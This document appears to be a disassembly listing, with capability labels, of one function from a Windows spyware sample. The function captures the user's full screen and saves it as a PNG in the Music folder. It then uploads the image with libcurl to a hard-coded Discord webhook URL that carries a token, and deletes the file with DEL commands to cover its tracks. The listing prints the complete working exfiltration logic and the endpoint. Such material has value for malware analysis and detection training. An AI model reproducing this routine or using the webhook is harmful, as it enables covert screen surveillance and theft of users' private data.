Function at 0x1400012c0
Capabilities:
Capture screenshot
Execute command
Get common file path
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor r14d, r14d
mov dword [rbp + 8], 1
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
lea ecx, [r14 + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov esi, eax
lea ecx, [r14 + 0x18]
call qword [sym.imp.gdiplus.dll_GdipAlloc]
mov rdi, rax
mov qword [rsp + 0x70], rax
lea rcx, vtable.Gdiplus::Bitmap.0
test rax, rax
je 0x140001393
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov qword [rdi], rcx
mov qword [rsp + 0x78], r14
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 0x26200a
xor r8d, r8d
mov edx, esi
mov ecx, ebx
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromScan0]
mov dword [rdi + 0x10], eax
mov rax, qword [rsp + 0x78]
mov qword [rdi + 8], rax
jmp 0x140001396
mov rdi, r14
mov ecx, 0x10
call qword [sym.imp.gdiplus.dll_GdipAlloc]
mov r15, rax
test rax, rax
je 0x1400013d9
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rax, r14
mov qword [rsp + 0x78], rax
test rdi, rdi
je 0x1400013d4
lea rdx, [rsp + 0x78]
mov rcx, qword [rdi + 8]
call qword [sym.imp.gdiplus.dll_GdipGetImageGraphicsContext]
mov dword [r15 + 8], eax
mov rax, qword [rsp + 0x78]
mov qword [r15], rax
jmp 0x1400013dc
mov r15, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
mov qword [rsp + 0x70], rax
mov r8d, esi
mov edx, ebx
mov rcx, r14
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov r13, rax
mov rdx, rax
mov rcx, r12
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], esi
mov r9d, ebx
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x18
call qword [sym.imp.gdiplus.dll_GdipAlloc]
mov r12, rax
test rax, rax
je 0x140001491
xor eax, eax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
lea rcx, vtable.Gdiplus::Bitmap.0
mov qword [r12], rcx
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, r13
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [r12 + 0x10], eax
mov rax, qword [rsp + 0x78]
mov qword [r12 + 8], rax
jmp 0x140001494
mov r12, rax
mov rdx, rax
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [r15]
call qword [sym.imp.gdiplus.dll_GdipDrawImageRectI]
test eax, eax
je 0x1400014b6
mov dword [r15 + 8], eax
mov rcx, r13
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xd]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140001c32
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001514
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
ja 0x140001cd9
movabs rdx, 0x7fffffffffffffff
mov ecx, 0xa
cmp rbx, 7
ja 0x140001576
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
mov word [rsp + rbx + 0x50], r14w
jmp 0x140001617
mov rsi, rbx
or rsi, 7
cmp rsi, rax
jbe 0x14000158b
mov rsi, rax
lea rcx, [rdx + rdx]
jmp 0x1400015ab
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, rdx
ja 0x140001cd3
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400015da
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001cd3
mov rcx, rax
call fcn.140002ce0
test rax, rax
je 0x1400015d3
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400015ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400015e9
call fcn.140002ce0
mov r14, rax
jmp 0x1400015ec
mov r14, rcx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x30]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov word [rbx + r14], ax
xor r14d, r14d
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rsi
cmp rax, 0xf
jb 0x140001668
lea rax, [rsi + 0xf]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rsi*2]
mov r8d, 0x1e
lea rdx, [0x140004520]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi*2 + 0x1e], r14w
lea rax, [rsp + 0x50]
jmp 0x140001687
mov qword [rsp + 0x20], 0xf
lea r9, [0x140004520]
mov edx, 0xf
lea rcx, [rsp + 0x50]
call fcn.140002940
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400016fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
lea rdx, [rbp + 0x20]
lea rcx, str.557CF406_1A04_11D3_9A73_0000F81EF32E
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
xor r9d, r9d
lea r8, [rbp + 0x20]
mov rcx, qword [rdi + 8]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x140001745
mov dword [rdi + 0x10], eax
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
test rax, rax
je 0x1400019ad
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov ecx, 0x80
call fcn.140002ce0
mov rcx, rax
mov qword [rbp - 0x20], rax
movdqa xmm0, xmmword [0x1400047d0]
movdqu xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [str.https:__discord.com_api_webhooks_1227454204264710174_02JlzyAwvFh1dJVeervOYV6UUcao67FzR0T_hrk_U_pZImiaF7YXszytEr7_xYLtgh1o]
movups xmmword [rax], xmm1
movaps xmm0, xmmword [0x1400045a0]
movups xmmword [rax + 0x10], xmm0
movaps xmm1, xmmword [0x1400045b0]
movups xmmword [rax + 0x20], xmm1
movaps xmm0, xmmword [0x1400045c0]
movups xmmword [rax + 0x30], xmm0
movaps xmm1, xmmword [0x1400045d0]
movups xmmword [rax + 0x40], xmm1
movaps xmm0, xmmword [0x1400045e0]
movups xmmword [rax + 0x50], xmm0
movaps xmm1, xmmword [0x1400045f0]
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [0x140004600]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x140004608]
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], 0
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_mime_init]
mov r13, rax
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_mime_addpart]
mov rbx, rax
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x50]
lea r10, [r8 + rcx*2]
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
cmp rcx, r10
jne 0x140001849
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
jmp 0x14000185f
sub r10, rcx
sar r10, 1
mov r9, r10
mov rdx, rcx
lea rcx, [rbp - 0x80]
call fcn.140002b90
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_filedata]
lea rdx, str.helloworld.png
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_filename]
lea rdx, str.image_png
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_mime_type]
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r8, qword [rbp - 0x20]
mov edx, 0x2712
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r8, r13
mov edx, 0x281d
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov r14d, eax
test eax, eax
je 0x14000190d
lea rdx, str.curl_easy_perform___failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400025a0
mov rbx, rax
mov ecx, r14d
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rdx, rax
mov rcx, rbx
call fcn.1400025a0
lea rdx, [0x140002770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_mime_free]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000195e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001959
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001959
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400019ad
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
mov r13, qword [rbp - 0x50]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r13
cmp rax, 8
jb 0x140001cdf
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rax, qword [rbp - 0x60]
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [r13 + 8]
mov esi, 7
lea rbx, [rbp - 0x80]
cmp r14, rsi
jbe 0x140001a94
mov rsi, r14
or rsi, 7
movabs rdx, 0x7fffffffffffffff
cmp rsi, rcx
jbe 0x140001a22
mov rsi, rcx
lea rcx, [rdx + rdx]
jmp 0x140001a48
cmp rsi, 0xa
mov ecx, 0xa
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, rdx
ja 0x140001ce5
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001a79
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001ce5
mov rcx, rax
call fcn.140002ce0
test rax, rax
je 0x140001b79
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rax, qword [rsp + 0x78]
jmp 0x140001a90
test rcx, rcx
je 0x140001a8d
call fcn.140002ce0
mov rbx, rax
mov rax, qword [rsp + 0x78]
jmp 0x140001a90
mov rbx, rcx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [str.DEL__Q__]
movups xmmword [rbx], xmm0
lea rcx, [rbx + 0x10]
lea r8, [r13*2]
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
mov word [rbx + r14*2], si
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001af7
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 7
cmova rax, qword [rbp - 0x80]
mov dword [rax + rcx*2], 0x22
lea rax, [rbp - 0x80]
jmp 0x140001b15
mov qword [rsp + 0x20], 1
lea r9, [0x140004650]
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140002940
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140001b85
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140001bdc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bd7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047b0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], si
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140001c55
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
jmp 0x140001c55
lea rdx, str.Failed_to_retrieve_the_Music_directory_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400025a0
lea rdx, [0x140002770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
test r12, r12
je 0x140001c68
mov rax, qword [r12]
mov edx, 1
mov rcx, r12
call qword [rax]
mov rcx, qword [r15]
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov rcx, r15
call qword [sym.imp.gdiplus.dll_GdipFree]
test rdi, rdi
je 0x140001c8c
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
mov rcx, qword [rbp]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea rcx, str.DEL__S_helloworld.png
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140002cc0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001100
int3
call fcn.1400011a0
nop
call fcn.1400011a0
nop
call fcn.140001100
int3